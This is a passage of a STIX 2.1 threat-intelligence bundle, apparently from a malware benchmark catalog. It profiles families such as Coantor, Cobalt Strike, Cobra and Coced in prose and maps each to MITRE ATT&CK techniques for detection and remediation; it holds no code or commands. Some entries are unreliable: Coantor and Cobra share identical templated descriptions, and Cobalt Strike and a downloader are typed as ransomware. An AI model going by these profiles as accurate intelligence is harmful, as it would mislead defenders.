      "description": "Cntads exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0be55464-65a3-5ebd-bcd6-c3404e25c7f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a49f1e9-4cab-5ee1-b964-7c97fb195813",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cntads exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25b6fccb-01e7-53b7-86d8-e57bd4038e43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coantor",
      "description": "Trojan:Win32/Coantor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Coantor</b><br>To an end-user, a Coantor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Coantor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Coantor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Coantor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Coantor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coantor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coantor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7360ba3-6b17-5ad6-9c1e-9e65e7e3c225",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25b6fccb-01e7-53b7-86d8-e57bd4038e43",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coantor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d9c1050-87b4-5def-b0d3-482a705faf0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25b6fccb-01e7-53b7-86d8-e57bd4038e43",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coantor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09dd7335-3f80-5afb-8dbd-984a0db3db9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25b6fccb-01e7-53b7-86d8-e57bd4038e43",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coantor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75a045c8-dae0-55d4-97ac-e0de165ad7ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25b6fccb-01e7-53b7-86d8-e57bd4038e43",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coantor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f217376-cffb-5944-ae9c-258d439f7aea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25b6fccb-01e7-53b7-86d8-e57bd4038e43",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coantor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5e44a42c-68e1-5973-ab2d-a9e692308d49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cobalt",
      "description": "HackTool:Win32/Cobalt (universally known as **Cobalt Strike**) is technically a legitimate, commercial adversary simulation software (a 'Red Team' tool) created by HelpSystems. However, leaked and cracked versions of Cobalt Strike have become the de facto standard Command and Control (C2) and post-exploitation framework used by the world's most dangerous cybercriminal syndicates, including top-tier ransomware gangs (Conti, Ryuk, LockBit) and nation-state APTs.<br><br><b>Understanding Cobalt Strike Abuse</b><br>To an end-user, Cobalt Strike is invisible. For a security analyst, detecting a Cobalt Strike **'Beacon'** is a 'code red' emergency. It indicates that an attacker (usually an Initial Access Broker) has already breached the perimeter, established a highly robust, stealthy C2 channel, and is actively preparing to move laterally, steal credentials, and deploy enterprise-wide ransomware.<br><br><b>Execution, Beacons, and Malleable C2</b><br>Attackers typically deploy Cobalt Strike after gaining initial access via phishing (`T1566.001`), exploiting public-facing applications, or purchasing access from a Loader botnet (like Trickbot). The core payload is the 'Beacon', an advanced memory-resident backdoor (`T1055`). Beacons are notoriously difficult to detect because Cobalt Strike uses 'Malleable C2' profiles (`T1001.003`)\u2014configuration files that allow the attacker to perfectly disguise their C2 traffic as legitimate services (e.g., mimicking Amazon AWS, Google, or even the organization's own web traffic). Once a Beacon checks in, the attacker can use the framework's built-in tools to dump credentials (using Mimikatz) (`T1003`), perform Kerberoasting, and move laterally via WMI or SMB (`T1021`) to eventually deploy the final ransomware payload (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total enterprise destruction via ransomware or massive data exfiltration. The primary IoC is the detection of the Beacon executing in memory (`svchost.exe` or `rundll32.exe` acting anomalously). Network analysts must look for repetitive, beaconing HTTPS traffic, often identifiable by default Cobalt Strike TLS certificates or specific JARM signatures if the Malleable C2 profile is poorly configured. Advanced memory scanning (like YARA rules targeting Beacon signatures in RAM) is often required. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cobalt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cobalt"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2022-42948"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f188fc3-ca75-58fe-a304-24cfb2cfeecc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e44a42c-68e1-5973-ab2d-a9e692308d49",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobalt exhibits technique T1055 (Process Injection (Memory-resident Beacons))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--0593b766-ce59-5fc1-923b-b2ae2a3aef18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1001.003: Data Obfuscation: Protocol Impersonation (Malleable C2 profiles)",
      "description": "MITRE ATT&CK Technique T1001.003 (Data Obfuscation: Protocol Impersonation (Malleable C2 profiles)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1001.003",
          "url": "https://attack.mitre.org/techniques/T1001/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d55d49d9-777a-53b0-b99c-f71915c489f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e44a42c-68e1-5973-ab2d-a9e692308d49",
      "target_ref": "attack-pattern--0593b766-ce59-5fc1-923b-b2ae2a3aef18",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobalt exhibits technique T1001.003 (Data Obfuscation: Protocol Impersonation (Malleable C2 profiles))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1003: OS Credential Dumping (Built-in Mimikatz integration)",
      "description": "MITRE ATT&CK Technique T1003 (OS Credential Dumping (Built-in Mimikatz integration)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1003",
          "url": "https://attack.mitre.org/techniques/T1003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc9608cb-da90-5d58-b461-8a948af7cdc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e44a42c-68e1-5973-ab2d-a9e692308d49",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobalt exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c270b9f-c119-5de2-a00d-8094597c2d02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e44a42c-68e1-5973-ab2d-a9e692308d49",
      "target_ref": "attack-pattern--f2e09458-77a2-5600-b8a7-231363608c16",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobalt exhibits technique T1021 (Remote Services (Lateral movement via SMB/WMI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f4e9ce9-7ceb-5edc-86c5-a793d1d8c035",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5e44a42c-68e1-5973-ab2d-a9e692308d49",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobalt exhibits technique T1486 (Data Encrypted for Impact (Ransomware deployment))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cobaltstrike",
      "description": "Cobalt Strike (specifically its Beacon payload component) is the world's most ubiquitous commercial adversary simulation and post-exploitation framework. Originally authored by Raphael Mudge and developed by HelpSystems (now Fortra) for legitimate red-team penetration testing, cracked and leaked versions (notably versions 4.0 through 4.9) have been comprehensively adopted by sophisticated cybercrime syndicates, initial access brokers, and advanced persistent threat (APT) groups. The core implant, Beacon, operates in-memory using reflective DLL loading and process hollowing to evade traditional endpoint detection and response (EDR) agents. It communicates over encrypted HTTP, HTTPS, DNS, or SMB named pipes using Malleable C2 profiles that emulate benign web traffic. Beacon features modular post-exploitation capabilities including token manipulation, Mimikatz integration for credential dumping, port scanning, lateral movement via WMI and PsExec, and sleep obfuscation techniques (such as Ekko, Foliage, and timer-based memory protection swapping) that protect the payload's memory space between check-ins. It is documented in multiple CISA alerts (including AA21-209A) and actively exploited in combination with edge appliance CVEs. (Observed samples in benchmark: 3,500)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Cobalt Strike Beacon",
        "CobaltStrike",
        "Beacon",
        "HackTool:Win32/CobaltStrike",
        "Trojan.CobaltStrike"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cobaltstrike",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cobaltstrike"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA21-209A"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50cb7d7a-f64f-50e4-8a29-208fa429bf21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a27730a2-ada5-5ae5-9b4f-2f3608c608d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d009432e-e362-5fa2-818c-d071fcef3739",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--25966596-f268-52dc-8ccd-eba715b5e824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1573.002: Asymmetric Cryptography",
      "description": "MITRE ATT&CK Technique T1573.002 (Asymmetric Cryptography) under tactic command-and-control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1573.002",
          "url": "https://attack.mitre.org/techniques/T1573/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79133217-9b76-5bcc-84b7-7c9725aed636",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--25966596-f268-52dc-8ccd-eba715b5e824",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1573.002 (Asymmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--965282c5-275b-5067-91a7-088e8360cf0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1021.002 (SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8181c563-01c5-53fb-8e22-57ac2a416d09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1003.001 (LSASS Memory)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e2c7a8e-0ee0-5298-a0c3-3fe185713b8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0bff842-9f77-5710-85fa-f2c27884ce28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d71d405-ea9c-50fb-80e2-e12a1051ae7a",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobaltstrike exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ef92235-fa10-5da9-a065-741f0e8bcdcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cobra",
      "description": "Trojan:Win32/Cobra is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cobra</b><br>To an end-user, a Cobra infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cobra is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cobra is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cobra frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cobra reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cobra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cobra"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1143c1e9-aa4f-5f9b-99f0-aa79155eb00f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ef92235-fa10-5da9-a065-741f0e8bcdcd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobra exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28d48456-37c1-53d8-a22c-ff7774927313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ef92235-fa10-5da9-a065-741f0e8bcdcd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobra exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b2e1f9f-1301-59d6-b940-1eb6ad568caa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ef92235-fa10-5da9-a065-741f0e8bcdcd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobra exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72b0c9b9-6e34-5354-ae21-5cafdb73139a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ef92235-fa10-5da9-a065-741f0e8bcdcd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobra exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55d1f6b1-1053-58d8-8586-eebbde6b452c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ef92235-fa10-5da9-a065-741f0e8bcdcd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cobra exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d4695d3-53ab-5562-b2f6-64344b4de3d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coced",
      "description": "<h3>Executive Summary</h3>\nCoced is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable backdoor and downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCoced is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Microsoft Office documents) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Coced operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Coced ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` key) or by dropping a shortcut into the Windows Startup folder.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader and backdoor, Coced receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials), botnet agents, or enterprise-targeting ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Coced infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Coced executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Coced often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Coced",
        "Downloader.Coced",
        "Win32/Coced"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coced",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coced"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47f80b27-a04d-55aa-a515-d84c2b3730c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d4695d3-53ab-5562-b2f6-64344b4de3d0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coced exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9647cab6-4072-5e59-84ab-a4472e31f37c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d4695d3-53ab-5562-b2f6-64344b4de3d0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coced exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10735b16-8d4b-5aa8-8529-38c2831ee403",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d4695d3-53ab-5562-b2f6-64344b4de3d0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coced exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bfa1e22d-b981-55a9-a4e8-c561b74b363a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Code",
      "description": "Trojan:Win32/Code (or Exploit:JS/Code, Script:VBS/Code) is a generic classification denoting the detection of malicious scripting or raw exploit code, rather than a compiled executable binary. This signifies the presence of 'fileless' malware techniques, where attackers leverage built-in operating system interpreters (like PowerShell, VBScript, or JavaScript) (`T1059`) to execute malicious logic directly in memory, bypassing many traditional file-scanning antivirus engines.<br><br><b>Understanding Script-Based Threats ('Code')</b><br>To an end-user, an infection utilizing script-based code is often completely invisible, as there is no traditional `.exe` file to double-click. For a SOC analyst, a 'Code' detection usually points to the *delivery mechanism* or *initial access* phase of an attack. The script's job is typically to establish a foothold, disable defenses, and download the actual compiled payload (like ransomware or a RAT).<br><br><b>Execution and Fileless Mechanics</b><br>Malicious 'Code' is frequently delivered via weaponized Office documents (Macros), malicious HTML files, or shortcut (`.lnk`) files. Upon execution, the script (e.g., PowerShell) is often heavily obfuscated using Base64 encoding or 